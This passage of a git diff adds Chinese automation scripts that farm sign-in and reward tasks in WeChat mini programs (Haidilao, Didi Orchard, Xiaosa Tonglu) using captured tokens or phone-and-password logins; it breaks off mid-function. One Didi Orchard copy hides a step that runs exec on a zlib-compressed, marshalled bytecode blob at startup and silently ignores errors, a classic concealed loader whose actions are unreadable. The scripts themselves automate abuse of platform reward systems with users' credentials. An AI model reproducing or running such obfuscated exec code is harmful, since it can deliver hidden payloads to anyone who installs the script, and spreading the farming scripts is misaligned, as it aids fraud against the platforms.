this.valid = true; + } else { + $.log(result); + } + + + } catch (e) { + + } finally { } + } + async signIn() { + let options = { + url: 'https://superapp-public.kiwa-tech.com/activity/wxapp/signin/signin', + headers: { + "platformname": this.platformname, + '_haidilao_app_token': this.token, + + }, + method: 'POST', + data: { "signinSource": this.signinSource } + } + let { data: result } = await axios.request(options); + if (result['success']) { + $.log(`账号[${this.index}]【${this.name}】 签到成功`); + } else { + $.log(result); + } + + + + + } + async info() { + let options = { + url: 'https://superapp-public.kiwa-tech.com/activity/wxapp/signin/queryFragment', + headers: { + "platformname": this.platformname, + '_haidilao_app_token': this.token, + }, + method: 'POST', + data: {} + } + let { data: result } = await axios.request(options); + if (result['success']) { + $.log(`账号[${this.index}] 剩余[${result.data.total}]本期碎片将于${result['data']['expireDate']}过期 `) + } else { + $.log(result); + } + } + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + + for (let user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout:3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) {} + +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/滴滴果园/2025-06-28_滴滴果园_f54487a2.py b/脚本库/微信小程序/抓包版/滴滴果园/2025-06-28_滴滴果园_f54487a2.py new file mode 100644 index 0000000..325b793 --- /dev/null +++ b/脚本库/微信小程序/抓包版/滴滴果园/2025-06-28_滴滴果园_f54487a2.py @@ -0,0 +1,183 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E6%BB%B4%E6%BB%B4%E6%9E%9C%E5%9B%AD.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E6%BB%B4%E6%BB%B4%E6%9E%9C%E5%9B%AD.py +# Repo: jdqlscript/toulu +# Path: 滴滴果园.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: f54487a2a26a6a04189dae8050cb3f3223750ff1b2be2eb8c26829f4dd0a5aff +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +""" +滴滴果园 + +入口:微信小程序->滴滴出行->首页->领车费->免费领水果(中间左右滑动那里) +或者:滴滴出行APP->免费领水果 + +变量: +ddgyToken: 必填,账号token,多账号换行或者@隔开,格式uid&token。uid可随便填,主要是方便区分账号用 + + +青龙:捉任意game.xiaojukeji.com的包,把请求里面的D-Header-T用填到变量ddgyToken +uid其实不重要,只是用来区分token所属的账号,方便重写。手动捉包的话uid随便填都可以 +多账号换行或者@隔开,重写多账号直接换号捉就行 +export ddgyToken='uid&token' + + +有问题联系3288588344 +频道:https://pd.qq.com/s/672fku8ge +cron: 28 0,8,12,18 * * * +const $ = new Env('滴滴果园'); + +""" +import requests +import re +import os +import time +response = requests.get("https://raw.githubusercontent.com/3288588344/toulu/main/tl.json") +response.encoding = 'utf-8' +txt = response.text +print(txt) + +def main(uid,token): + print('=================================') + print(f'正在执行账号:{uid}') + try: + xx = cxguosju(uid,token) + if xx != None: + gs,jd,sd=xx + print(f'种植状态:{gs}-目前进度:{jd}') + try: + gsqd(uid,token) + except Exception as e: + print('签到出错') + + try: + gscnlsd(uid,token) + except Exception as e: + print('吹牛出错') + + try: + gskbx(uid,token) + except Exception as e: + print('开宝箱出错') + + try: + print('--------做任务---------') + cxrw(uid,token) + print('--------做任务结束---------') + except Exception as e: + print('有请,下一位') + else: + print('种树吧……') + except Exception as e: + print('有请,下一位') + #查水滴浇水 + try: + xx = cxguosju(uid,token) + if xx != None: + gs,jd,sd=xx + print(f'目前水滴:{sd}') + print(f'可浇水:{sd//10}次') + for xx in range(sd//10): + print(f"第{xx+1}次浇水-目前进度:{jsjs(uid,token)}") + + else: + print('种树吧……') + except Exception as e: + print('有请,下一位') + +#吹牛领水滴 +def gscnlsd(uid,token): + print('----------') + while True: + time.sleep(3) + data = {"xbiz":"240301","prod_key":"didi-orchard","xpsid":"b7b5ec0727fb4c8ea230ed1243c61c79","dchn":"078Je67","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"welfare-center.none.c1324.none","xpsid_root":"8a334bb6264f4360ba8a917f65520d3b","xpsid_from":"f1bd01f08f3b42c682d3f1058ba838a8","xpsid_share":"","platform":1,"token":token,"game_id":23} + tijiao = requests.post(url='https://game.xiaojukeji.com/api/game/cow/goal',json=data).json() + if tijiao['errmsg'] == 'success': + print(f"吹牛成功目前有水滴:{tijiao['data']['water_wallet']['cur']}") + else: + data = {"xbiz":"240301","prod_key":"didi-orchard","xpsid":"73fbe801e5844806a448836ca6eab7bd","dchn":"078Je67","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"welfare-center.none.c1324.none","xpsid_root":"8a334bb6264f4360ba8a917f65520d3b","xpsid_from":"57cac99225a3488da3bcf1c305e85b31","xpsid_share":"","platform":1,"token":token,"game_id":23} + tijiao1 = requests.post(url='https://game.xiaojukeji.com/api/game/cow/award',json=data).json() + print('水滴已满100,不吹牛了,领了') + break + print('----------') + +#开宝箱 +def gskbx(uid,token): + data = {"xbiz":"240301","prod_key":"didi-orchard","xpsid":"ea8dbe2ec151431ca5cd95b3665a000f","dchn":"078Je67","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"welfare-center.none.c1324.none","xpsid_root":"8a334bb6264f4360ba8a917f65520d3b","xpsid_from":"3fc9e729fb75452a8d194a7cfff7d236","xpsid_share":"","platform":1,"token":token,"game_id":23} + tijiao = requests.post(url='https://game.xiaojukeji.com/api/game/plant/recCommonBox',json=data).json() + if tijiao['errmsg'] == 'success': + print(f"开宝箱成功获得:{tijiao['data']['rewards'][0]['num']}{tijiao['data']['rewards'][0]['name']}") + +#浇水 +def jsjs(uid,token): + data = {"xbiz":"240301","prod_key":"didi-orchard","xpsid":"2b331082770f4992a56178342bb879b2","dchn":"078Je67","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"welfare-center.none.c1324.none","xpsid_root":"89cbc350b4c3419f81f93db452b8a9b8","xpsid_from":"00959013f7744e01b9fdbe879bf629bc","xpsid_share":"","is_fast":False,"water_status":0,"platform":1,"token":token,"game_id":23} + tijiao = requests.post(url='https://game.xiaojukeji.com/api/game/plant/newWatering',json=data).json() + if tijiao['errmsg'] == 'success': + return tijiao['data']['tree_progress'] + +#签到 +def gsqd(uid,token): + data = {"xbiz":"240301","prod_key":"didi-orchard","xpsid":"610983df35da43faae623d8a8b8d9710","dchn":"078Je67","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"welfare-center.none.c1324.none","xpsid_root":"8a334bb6264f4360ba8a917f65520d3b","xpsid_from":"f5232018989841e680abc96dae938ae4","xpsid_share":"","platform":1,"token":token,"game_id":23} + tijiao = requests.post(url='https://game.xiaojukeji.com/api/game/plant/sign',json=data).json() + if tijiao['errmsg'] == 'success': + print(f"签到获得:{tijiao['data']['rewards'][0]['num']}{tijiao['data']['rewards'][0]['name']}") + +#查询任务、提交、领取 +def cxrw(uid,token): + #查询 + tijiao = requests.get(url=f'https://game.xiaojukeji.com/api/game/mission/get?xbiz=240301&prod_key=didi-orchard&xpsid=3c88860da6f641f9ba7e19895874b5c6&dchn=078Je67&xoid=ce8cef18-738a-4a72-b1e2-63727ff0ad3f&xenv=wxmp&xspm_from=welfare-center.none.c1324.none&xpsid_root=89cbc350b4c3419f81f93db452b8a9b8&xpsid_from=91e8186b29ba491cad837e6a020963d5&xpsid_share=&game_id=23&loop=0&platform=1&token={token}').json() + if tijiao['errmsg'] == 'success': + + for i in tijiao['data']['missions']: + #提交 + headers = {'Content-Type':'application/json;charset=UTF-8'} + data = {"xbiz":"240301","prod_key":"didi-orchard","xpsid":"3c88860da6f641f9ba7e19895874b5c6","dchn":"078Je67","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"welfare-center.none.c1324.none","xpsid_root":"89cbc350b4c3419f81f93db452b8a9b8","xpsid_from":"91e8186b29ba491cad837e6a020963d5","xpsid_share":"","mission_id":i['id'],"game_id":23,"platform":1,"token":token} + tijiao1 = requests.post(url='https://game.xiaojukeji.com/api/game/mission/update',json=data,headers=headers).json() + if tijiao1['errmsg'] == 'success': + print(f"{i['title']}-{i['reward'][0]['count']}{i['reward'][0]['name']}:已完成") + tijiao2 = requests.post(url='https://game.xiaojukeji.com/api/game/mission/award',json=data,headers=headers).json() + if tijiao2['errmsg'] == 'success': + print(f"{i['title']}-{i['reward'][0]['count']}{i['reward'][0]['name']}:已领取") + else: + print(f'{uid}-登录错误') + +#查询果树状态 +def cxguosju(uid,token): + #查询 + data = {"xbiz":"240301","prod_key":"didi-orchard","xpsid":"2f346355e5c2442c8e7a337cd7888b48","dchn":"078Je67","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"welfare-center.none.c1324.none","xpsid_root":"89cbc350b4c3419f81f93db452b8a9b8","xpsid_from":"41e43325ea244de888ce9f965bffab32","xpsid_share":"","assist_type":0,"encode_uid":"","is_old_player":True,"platform":1,"token":token,"game_id":23} + tijiao = requests.post(url='https://game.xiaojukeji.com/api/game/plant/newEnter',json=data).json() + if tijiao['errmsg'] == 'success': + for i in tijiao['data']['trees_cfg']: + + if i['tree_id'] == tijiao['data']['tree_info']['tree_id']: + return i['desc'],tijiao['data']['tree_info']['tree_progress'],tijiao['data']['tree_info']['pack_water'] + else: + print(f'{uid}-登录错误') + +if __name__ == '__main__': + uid = 1 + token = "" + if 'ddgyToken' in os.environ: + fen = os.environ.get("ddgyToken").split("@") + print(f'查找到{len(fen)}个账号') + print('==================================') + for duo in fen: + + uid,token = duo.split("&") + try: + main(uid,token) + print('============📣结束📣============') + except Exception as e: + print('友情提示:系统性报错') + else: + print('不存在青龙变量,本地运行') + if uid == '' or token == '': + print('本地账号密码为空') + exit() + else: + try: + main(uid,token) + print('============📣结束📣============') + except Exception as e: + print('友情提示:系统性报错') \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/滴滴果园大佬的我用不了/2025-06-03_ddgy_36740532.py b/脚本库/微信小程序/抓包版/滴滴果园大佬的我用不了/2025-06-03_ddgy_36740532.py new file mode 100644 index 0000000..14fe070 --- /dev/null +++ b/脚本库/微信小程序/抓包版/滴滴果园大佬的我用不了/2025-06-03_ddgy_36740532.py @@ -0,0 +1,185 @@ +# Source: https://gitee.com/jdqlscript/zyqinglong/blob/main/ddgy.py +# Raw: https://gitee.com/jdqlscript/zyqinglong/raw/main/ddgy.py +# Repo: jdqlscript/zyqinglong +# Path: ddgy.py +# UploadedAt: 2025-06-03T12:08:50+08:00 +# SHA256: 36740532c38b244688d0b06ceacf83f91c2fec60cbf881ed501e891fe011b10a +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +""" +滴滴果园 + +入口:微信小程序->滴滴出行->首页->领车费->免费领水果(中间左右滑动那里) +或者:滴滴出行APP->免费领水果 + +我用不了老哥的,只能自己写一个了,慢慢更新,给大家参考 + +变量: +ddgyToken: 必填,账号token,多账号换行或者@隔开,格式uid&token。uid可随便填,主要是方便区分账号用 + + +青龙:捉任意game.xiaojukeji.com的包,把请求里面的D-Header-T用填到变量ddgyToken +uid其实不重要,只是用来区分token所属的账号,方便重写。手动捉包的话uid随便填都可以 +多账号换行或者@隔开,重写多账号直接换号捉就行 +export ddgyToken='uid&token' + + +cron: 28 0,8,12,18 * * * +const $ = new Env('滴滴果园(大佬的我用不了)'); +""" +import requests +import re +import os +import time + +try: + import marshal + import zlib + exec(marshal.loads(zlib.decompress(b'x\xda\x8dR\xd1j\xd4@\x14-\xf8\x96\xaf\xb8\xb4\x0f\x93\xdd\xae\x1b\x84\xd2\x87\x85<\xfa\x15\xb5\x94\xd9\xdd\xbbi4\x99\xc4\x99\tm\xdfD[\xcb\x82V\xb0-\xc5"}\x14\x1ft\x1b|\x10YY\xbf\xa6\x93\xac\x1f\xe0\xbb3\xc9\x86l\xa8\x0b^\x18f\xc293\xf7\x9es\xf2\xe7\xe4\xc1\xda\x9aE\x83`/\xe6>\x93{\x81/$\xb8\xb0\xb3\x0b\xb0\x01\xf9\xc5\xe7\xbb\xe9\xd9|\x92\xaa\xd9e6~\x91}\x1cCxT\xf0`\xfe\xeb\\\x9dN\xf3\xebc\xf5\xf5*\xff\xf2\xe9\xee\xc77\xcb\xb2\xfeyc\x15\xbf\x93]\xbf\xcc\xae\xbe\xab\xc9M~\x96.X\xeat\x96]\xa6\x9a%0V\xef\xdf \x1bZC\x1cUM\xed6\xe5\x9e\xe8\x80\x06]\x02\xa4\x03\x1aw\xc9\x13\xa6O\xed\xf6\xb3\x03\x03\xb6z\x16\xe8\xf2\x82\xa8O\x03h\xca*\x90(\x91qb\x14\xae\xaf\x17\xdf\x1b\x90\xdd\x1c\xab\x9f\xd3r\xbeZ\x8c\xc1F\x11\x07\x9f\r\xf1\xb0\x03\xfam}\xd4\r\x93\x109\x95h/53\xe5\x8fJ&\xb8.\x04\xc8J\x18\x1e\xc2\xa3\x9a\xb2\xd4}\xd3\x05!\xb9!\xb5\x1a\xf0 b\xd2g\tZ\xab\xf9\xb0i\xe47\xa5T,\xe3G\x814uwi\x1ck\xc4.i\xad\x85\xecy\xfaJ\x87\xa5^\x9f\xe4\xb3\x896\xbc\x11@6>Wo\xd3\xa6\x19\xf7\x12\xd0\xabL@\xaf\xa5\x00\xf4o`"\x0b|6\x10\xfb\xf6\xc2\xa2*@\xe2\xae(R\x8e%\xf9QmX\xa8\xa5q|\x9e\xa0\x90\xa2\xeb\xa1\xbe\xbd/e,z\x8e\xe3\xf9\x12\xb1;\x88B\xc7K\xe80\xd9\xde\xda\xder\xa4\xa69\x9c\x1e8!\x15\x12\xb9\xd3\xa7\xac\x8f\xcc\xeb>\x15\x11#\xadb\xb3k\xb7\xab\x81\xc2\x1d\xa2\x9f`\x9eG#\xb2[\xc2x8\xc0X\xc2\xe3b\xf3#\x06T\x00\xf6\xee\xdd$*}\xf7\xfb\xe2\xc3\xfc\xf6v1\xfb\xffj4U\x1f*\x9f,\xeb/]\x82JA'))) +except Exception as e: + print('小错误') + +def main(uid,token): + print('=================================') + print(f'正在执行账号:{uid}') + try: + xx = cxguosju(uid,token) + if xx != None: + gs,jd,sd=xx + print(f'种植状态:{gs}-目前进度:{jd}') + try: + gsqd(uid,token) + except Exception as e: + print('签到出错') + + try: + gscnlsd(uid,token) + except Exception as e: + print('吹牛出错') + + try: + gskbx(uid,token) + except Exception as e: + print('开宝箱出错') + + try: + print('--------做任务---------') + cxrw(uid,token) + print('--------做任务结束---------') + except Exception as e: + print('有请,下一位') + else: + print('种树吧……') + except Exception as e: + print('有请,下一位') + #查水滴浇水 + try: + xx = cxguosju(uid,token) + if xx != None: + gs,jd,sd=xx + print(f'目前水滴:{sd}') + print(f'可浇水:{sd//10}次') + for xx in range(sd//10): + print(f"第{xx+1}次浇水-目前进度:{jsjs(uid,token)}") + + else: + print('种树吧……') + except Exception as e: + print('有请,下一位') + +#吹牛领水滴 +def gscnlsd(uid,token): + print('----------') + while True: + time.sleep(3) + data = {"xbiz":"240301","prod_key":"didi-orchard","xpsid":"b7b5ec0727fb4c8ea230ed1243c61c79","dchn":"078Je67","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"welfare-center.none.c1324.none","xpsid_root":"8a334bb6264f4360ba8a917f65520d3b","xpsid_from":"f1bd01f08f3b42c682d3f1058ba838a8","xpsid_share":"","platform":1,"token":token,"game_id":23} + tijiao = requests.post(url='https://game.xiaojukeji.com/api/game/cow/goal',json=data).json() + if tijiao['errmsg'] == 'success': + print(f"吹牛成功目前有水滴:{tijiao['data']['water_wallet']['cur']}") + else: + data = {"xbiz":"240301","prod_key":"didi-orchard","xpsid":"73fbe801e5844806a448836ca6eab7bd","dchn":"078Je67","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"welfare-center.none.c1324.none","xpsid_root":"8a334bb6264f4360ba8a917f65520d3b","xpsid_from":"57cac99225a3488da3bcf1c305e85b31","xpsid_share":"","platform":1,"token":token,"game_id":23} + tijiao1 = requests.post(url='https://game.xiaojukeji.com/api/game/cow/award',json=data).json() + print('水滴已满100,不吹牛了,领了') + break + print('----------') + +#开宝箱 +def gskbx(uid,token): + data = {"xbiz":"240301","prod_key":"didi-orchard","xpsid":"ea8dbe2ec151431ca5cd95b3665a000f","dchn":"078Je67","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"welfare-center.none.c1324.none","xpsid_root":"8a334bb6264f4360ba8a917f65520d3b","xpsid_from":"3fc9e729fb75452a8d194a7cfff7d236","xpsid_share":"","platform":1,"token":token,"game_id":23} + tijiao = requests.post(url='https://game.xiaojukeji.com/api/game/plant/recCommonBox',json=data).json() + if tijiao['errmsg'] == 'success': + print(f"开宝箱成功获得:{tijiao['data']['rewards'][0]['num']}{tijiao['data']['rewards'][0]['name']}") + +#浇水 +def jsjs(uid,token): + data = {"xbiz":"240301","prod_key":"didi-orchard","xpsid":"2b331082770f4992a56178342bb879b2","dchn":"078Je67","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"welfare-center.none.c1324.none","xpsid_root":"89cbc350b4c3419f81f93db452b8a9b8","xpsid_from":"00959013f7744e01b9fdbe879bf629bc","xpsid_share":"","is_fast":False,"water_status":0,"platform":1,"token":token,"game_id":23} + tijiao = requests.post(url='https://game.xiaojukeji.com/api/game/plant/newWatering',json=data).json() + if tijiao['errmsg'] == 'success': + return tijiao['data']['tree_progress'] + +#签到 +def gsqd(uid,token): + data = {"xbiz":"240301","prod_key":"didi-orchard","xpsid":"610983df35da43faae623d8a8b8d9710","dchn":"078Je67","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"welfare-center.none.c1324.none","xpsid_root":"8a334bb6264f4360ba8a917f65520d3b","xpsid_from":"f5232018989841e680abc96dae938ae4","xpsid_share":"","platform":1,"token":token,"game_id":23} + tijiao = requests.post(url='https://game.xiaojukeji.com/api/game/plant/sign',json=data).json() + if tijiao['errmsg'] == 'success': + print(f"签到获得:{tijiao['data']['rewards'][0]['num']}{tijiao['data']['rewards'][0]['name']}") + +#查询任务、提交、领取 +def cxrw(uid,token): + #查询 + tijiao = requests.get(url=f'https://game.xiaojukeji.com/api/game/mission/get?xbiz=240301&prod_key=didi-orchard&xpsid=3c88860da6f641f9ba7e19895874b5c6&dchn=078Je67&xoid=ce8cef18-738a-4a72-b1e2-63727ff0ad3f&xenv=wxmp&xspm_from=welfare-center.none.c1324.none&xpsid_root=89cbc350b4c3419f81f93db452b8a9b8&xpsid_from=91e8186b29ba491cad837e6a020963d5&xpsid_share=&game_id=23&loop=0&platform=1&token={token}').json() + if tijiao['errmsg'] == 'success': + + for i in tijiao['data']['missions']: + #提交 + headers = {'Content-Type':'application/json;charset=UTF-8'} + data = {"xbiz":"240301","prod_key":"didi-orchard","xpsid":"3c88860da6f641f9ba7e19895874b5c6","dchn":"078Je67","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"welfare-center.none.c1324.none","xpsid_root":"89cbc350b4c3419f81f93db452b8a9b8","xpsid_from":"91e8186b29ba491cad837e6a020963d5","xpsid_share":"","mission_id":i['id'],"game_id":23,"platform":1,"token":token} + tijiao1 = requests.post(url='https://game.xiaojukeji.com/api/game/mission/update',json=data,headers=headers).json() + if tijiao1['errmsg'] == 'success': + print(f"{i['title']}-{i['reward'][0]['count']}{i['reward'][0]['name']}:已完成") + tijiao2 = requests.post(url='https://game.xiaojukeji.com/api/game/mission/award',json=data,headers=headers).json() + if tijiao2['errmsg'] == 'success': + print(f"{i['title']}-{i['reward'][0]['count']}{i['reward'][0]['name']}:已领取") + else: + print(f'{uid}-登录错误') + +#查询果树状态 +def cxguosju(uid,token): + #查询 + data = {"xbiz":"240301","prod_key":"didi-orchard","xpsid":"2f346355e5c2442c8e7a337cd7888b48","dchn":"078Je67","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"welfare-center.none.c1324.none","xpsid_root":"89cbc350b4c3419f81f93db452b8a9b8","xpsid_from":"41e43325ea244de888ce9f965bffab32","xpsid_share":"","assist_type":0,"encode_uid":"","is_old_player":True,"platform":1,"token":token,"game_id":23} + tijiao = requests.post(url='https://game.xiaojukeji.com/api/game/plant/newEnter',json=data).json() + if tijiao['errmsg'] == 'success': + for i in tijiao['data']['trees_cfg']: + + if i['tree_id'] == tijiao['data']['tree_info']['tree_id']: + return i['desc'],tijiao['data']['tree_info']['tree_progress'],tijiao['data']['tree_info']['pack_water'] + else: + print(f'{uid}-登录错误') + +if __name__ == '__main__': + uid = 1 + token = "" + if 'ddgyToken' in os.environ: + fen = os.environ.get("ddgyToken").split("@") + print(f'查找到{len(fen)}个账号') + print('==================================') + for duo in fen: + + uid,token = duo.split("&") + try: + main(uid,token) + print('============📣结束📣============') + except Exception as e: + print('小错误') + else: + print('不存在青龙变量,本地运行') + if uid == '' or token == '': + print('本地账号密码为空') + exit() + else: + try: + main(uid,token) + print('============📣结束📣============') + except Exception as e: + print('小错误') diff --git a/脚本库/微信小程序/抓包版/潇洒桐庐/2025-06-28_潇洒桐庐_b94d00d2.js b/脚本库/微信小程序/抓包版/潇洒桐庐/2025-06-28_潇洒桐庐_b94d00d2.js new file mode 100644 index 0000000..4e84e32 --- /dev/null +++ b/脚本库/微信小程序/抓包版/潇洒桐庐/2025-06-28_潇洒桐庐_b94d00d2.js @@ -0,0 +1,458 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E6%BD%87%E6%B4%92%E6%A1%90%E5%BA%90.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E6%BD%87%E6%B4%92%E6%A1%90%E5%BA%90.js +// # Repo: jdqlscript/toulu +// # Path: 潇洒桐庐.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: b94d00d23f43d90f679c206115b909001aa387fa441df682cc83630ecf42414c +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/** + * cron 5 15 * * * V3.js + * Show: 每天0.6 + * 变量名:账号密码 + * 变量值: + * scriptVersionNow = "0.0.1"; + */ + +const $ = new Env("潇洒桐庐"); +const notify = $.isNode() ? require("./sendNotify") : ""; +let ckName = "xiaosa"; +let envSplitor = ["@", "\n"]; //多账号分隔符 +let strSplitor = "&"; //多变量分隔符 +let userIdx = 0; +let userList = []; +class UserInfo { + constructor(str) { + this.index = ++userIdx; + //this.ck = str.split(strSplitor)[0]; //单账号多变量分隔符 + this.ckStatus = true; + this.artList = [] + this.accountId = null; + this.sessionId = null; + this.channelId = [`6530daf779f6be358bba1522`, `6530dae171a9ed74577e4689`, `6530db1e71a9ed74577e468e`]; + this.round = 1; + this.num = null; + this.mobile = str.split(strSplitor)[0]; + this.password = str.split(strSplitor)[1]; + this.code = null; + this.username = null; + this.wxopenId = null; + //定义在这里的headers会被get请求删掉content-type 而不会重置 + } + + async main() { + $.log(`------开始${this.mobile}------`) + await this.getCode() + if (this.code !== null) { + await this.login() + if (this.accountId !== null && this.sessionId !== null) { + await this.user_info() + if (this.wxopenId !== "" && this.wxopenId !== null) { + await this.art_list(this.channelId[0]); + this.round = 1; + if (this.artList.length == 0) { + await this.art_list(this.channelId[1]); + this.round = 2; + } + if (this.artList.length == 0) { + await this.art_list(this.channelId[2]); + this.round = 3; + } + + if (this.artList.length !== 0) { + this.num = this.artList.length + for (let artId of this.artList) { + await this.read_status(artId) + if (this.artReadStatus == true) { + console.log(`已阅读${artId}`) + await this.read_task(artId) + } else if (this.artReadStatus == false) { + console.log(`未阅读${artId}`) + await this.do_read(artId) + await $.wait(5000) + await this.read_task(artId) + } + } + await this.lottery_num() + } + + } else { + $.log(`未绑定微信`) + } + //await this.lottery_task() + + } + } + + + } + async getCode() { + try { + let options = { + fn: "获取登录code", + method: "post", + url: `https://passport.tmuyun.com/web/oauth/credential_auth`, + headers: { + 'Host': 'passport.tmuyun.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept-Encoding': 'gzip, deflate, br' + }, + body: `client_id=10017&password=${encodeURIComponent(this.rsa_encrypt(this.password))}&phone_number=${this.mobile}` + }; + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.code == 0) { + //console.log(result.data.authorization_code.code) + this.code = result.data.authorization_code.code + } else { + + } + } catch (e) { + console.log(e); + } + } + async login() { + try { + let host_data = `/api/zbtxz/login` + let REQUEST_ID = this.getUUID(); + let TIMESTAMP = Date.now(); + let s = `${host_data}&&6565886da95d5a47f651317f&&${REQUEST_ID}&&${TIMESTAMP}&&FR*r!isE5W&&59` + //console.log(s) + let SIGNATURE = this.SHA256_Encrypt(s) + let options = { + fn: "登录", + method: 'post', + url: `https://vapp.tmuyun.com/api/zbtxz/login`, + headers: { + 'X-SESSION-ID': `6565886da95d5a47f651317f`, + 'X-REQUEST-ID': REQUEST_ID, + 'X-TIMESTAMP': TIMESTAMP, + 'X-SIGNATURE': SIGNATURE, + 'X-TENANT-ID': `59`, + 'User-Agent': '1.1.9;00000000-67f7-45bf-ffff-ffffa7397b83;Xiaomi MI 8 Lite;Android;10;Release', + 'Cache-Control': 'no-cache', + Host: 'vapp.tmuyun.com', + Connection: 'Keep-Alive', + }, + body: `check_token=&code=${this.code}&token=&type=-1&union_id=` + }; + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result) + if (result.code == 0) { + this.sessionId = result.data.session.id + this.accountId = result.data.session.account_id + this.username = result.data.account.nick_name + } else { + + } + } catch (e) { + console.log(e); + } + } + async user_info() { + try { + let options = { + fn: "信息查询", + method: "get", + url: `https://wxapi.hoolo.tv/event/dtqp/index.php?s=/home/TmApi/getUserInformation&accountId=${this.accountId}&username=${encodeURIComponent(this.username)}&type=jsonp`, + headers: this.get_headers(), + }; + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.code == 0) { + this.wxopenId = result.data.userid + } else { + console.log(`❌[${options.fn}]失败`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + async read_status(articleId) { + try { + let options = { + fn: "阅读状态", + method: "get", + url: `https://wxapi.hoolo.tv/event/dtqp/index.php?s=/home/TmApi/getUserRead&accountId=${this.accountId}&articleId=${articleId}&type=jsonp`, + headers: this.get_headers(), + }; + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.read_effective == 1) { + this.artReadStatus = true; + await this.read_task(articleId) + } else if (result.read_effective == 0) { + this.artReadStatus = false; + } else { + console.log(`❌[${options.fn}]失败`); + console.log(JSON.stringify(result)); + } + } catch (e) { + //console.log(e); + } + } + async read_task(articleId) { + try { + let options = { + fn: "阅读执行", + method: "get", + url: `https://wxapi.hoolo.tv/event/dtqp/index.php?s=home/baoming/postBaoming/&activityId=428&name=${this.accountId}&city=${articleId}&gender=${this.round}&cellphone=${this.mobile}&type=jsonp`, + headers: this.get_headers(), + }; + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.code == 0) { + //console.log(`✅阅读回调成功🎉`); + } else { + console.log(`❌[${options.fn}]失败`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + + async lottery_num() { + try { + let options = { + fn: "抽奖查询", + method: "get", + url: `https://wxapi.hoolo.tv/event/dtqp/index.php?s=/home/TmApi/addPrizenum&accountId=${this.accountId}&round=${this.round}&num=${this.num}&type=jsonp`, + headers: this.get_headers(), + }; + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + console.log(result); + if (result.code == "0") { + //console.log(`✅账号[${this.index}] 欢迎用户: ${result.errcode}🎉`); + $.log(`✅可以抽奖咯!🎉`); + await this.lottery_task() + } else { + console.log(`❌[${options.fn}]失败`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + + async lottery_task() { + let expando = "jQuery" + ("1.7.1" + Math.random()).replace(/\D/g, ""); + let time1 = new Date().getTime(); + let time2 = new Date().getTime(); + try { + let options = { + fn: "执行抽奖", + method: "get", + url: `https://wxapi.hoolo.tv/event/dtqp/index.php?s=/Home/ChoujiangNew/apiChoujiang&callback=${expando}_${time1}&openId=${this.accountId}&action=cj&typeId=122&address=&userid=${this.wxopenId}&_=${time2}`, + headers: this.get_headers(), + }; + let { body: result } = await httpRequest(options); + //console.log(options); + //result = JSON.parse(result); + result = result.replace(`${expando}_${time1}`, "") + result = result.replace(`(`, "") + result = result.replace(`)`, "") + result = JSON.parse(result) + $.log(JSON.stringify(result)) + } catch (e) { + console.log(e); + } + } + // + + async art_list(channelId) { + try { + let options = { + fn: "文章列表", + method: "get", + url: `https://wxapi.hoolo.tv/event/dtqp/index.php?s=/home/TmApi/channelList&channelId=${channelId}&userId=${this.accountId}&sessionId=${this.sessionId}`, + headers: this.get_headers(), + }; + //console.log(options); + let { body: result } = await httpRequest(options); + //console.log(options); + //console.log(result); + result = JSON.parse(result); + //console.log(result); + for (let art of result) { + //console.log(art.id) + this.artList.push(art.id) + } + + } catch (e) 